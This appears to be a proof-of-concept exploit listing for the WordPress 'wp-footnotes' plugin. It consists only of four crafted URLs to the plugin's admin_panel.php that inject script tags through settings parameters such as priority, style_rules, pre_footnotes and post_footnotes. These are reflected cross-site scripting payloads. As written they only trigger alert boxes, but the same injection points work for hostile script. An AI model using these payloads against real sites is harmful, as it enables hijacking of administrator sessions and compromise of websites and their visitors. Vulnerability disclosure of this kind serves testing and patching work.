http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot
notes_current_settings[priority]="><script>alert("XSS"
)</script> 

http://site.tld/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_foot
notes_current_settings[style_rules]=</textarea><script>alert("
XSS")</script> 

http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current
_settings[pre_footnotes]=</textarea><script>alert("XSS"
)</script> 

http://site.tld/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current
_settings[post_footnotes]=</textarea><script>alert(":-
(")